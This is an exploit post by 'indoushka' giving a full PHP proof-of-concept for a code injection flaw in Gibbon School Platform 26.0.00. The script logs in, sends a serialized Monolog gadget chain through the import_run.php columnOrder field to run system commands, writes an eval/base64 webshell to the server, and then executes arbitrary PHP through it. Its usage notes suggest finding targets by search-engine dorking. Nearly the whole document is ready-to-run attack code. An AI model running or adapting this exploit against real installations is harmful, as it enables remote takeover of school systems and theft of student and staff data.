Gibbon School Platform 26.0.00 Code Injection

=============================================================================================================================================| # Title     : Gibbon School Platform 26.0.00 Code Injection Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://gibbonedu.org/                                                                                                      |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 108 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass GibbonExploit{    private $target_uri;    private $username;    private $password;    private $webshell_name;    public function __construct($target_uri, $username, $password, $webshell_name = null)    {        $this->target_uri = $target_uri;        $this->username = $username;        $this->password = $password;        $this->webshell_name = $webshell_name ?: $this->randomString() . '.php';    }    private function send_request($method, $url, $data = null, $headers = [])    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);        if (!empty($headers)) {            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        }        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function gibbon_login()    {        $login_url = $this->target_uri . '/login.php?timeout=true';        $data = [            'address' => '',            'method' => 'default',            'username' => $this->username,            'password' => $this->password,            'gibbonSchoolYearID' => '025',            'gibboni18nID' => '0002'        ];        return $this->send_request('POST', $login_url, http_build_query($data));    }    private function construct_form_data($payload)    {        $payload_len = strlen($payload);        $payload_data = 'a:2:{i:7;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:3;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:' . $payload_len . ':"' . $payload . '";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}';        $form_data = [            'address' => '/modules/System Admin/import_run.php',            'mode' => 'sync',            'syncField' => 'N',            'syncColumn' => '',            'columnOrder' => $payload_data,            'columnText' => 'N;',            'fieldDelimiter' => '%2C',            'stringEnclosure' => '%22',            'filename' => $this->randomString() . '.xlsx',            'csvData' => '"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"',            'ignoreErrors' => '1',            'Failed' => 'Submit'        ];        return $form_data;    }    public function upload_webshell($b64_payload)    {        $php_payload = "echo \"<?php @eval(base64_decode('$b64_payload'));?>\" > " . $this->webshell_name;        $form_data = $this->construct_form_data($php_payload);        $url = $this->target_uri . '/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4';        return $this->send_request('POST', $url, http_build_query($form_data));    }    public function execute_php($cmd)    {        $b64_payload = base64_encode($cmd);        $res = $this->upload_webshell($b64_payload);        if (!$res) {            die('Web shell upload error.');        }        // execute the webshell        $url = $this->target_uri . '/' . $this->webshell_name;        return $this->send_request('GET', $url);    }    private function randomString($length = 10)    {        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);    }}// Usage$exploit = new GibbonExploit('https://target-site.com', '[email protected]', 'password');$exploit->gibbon_login();$response = $exploit->execute_php('phpinfo();');echo $response;Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================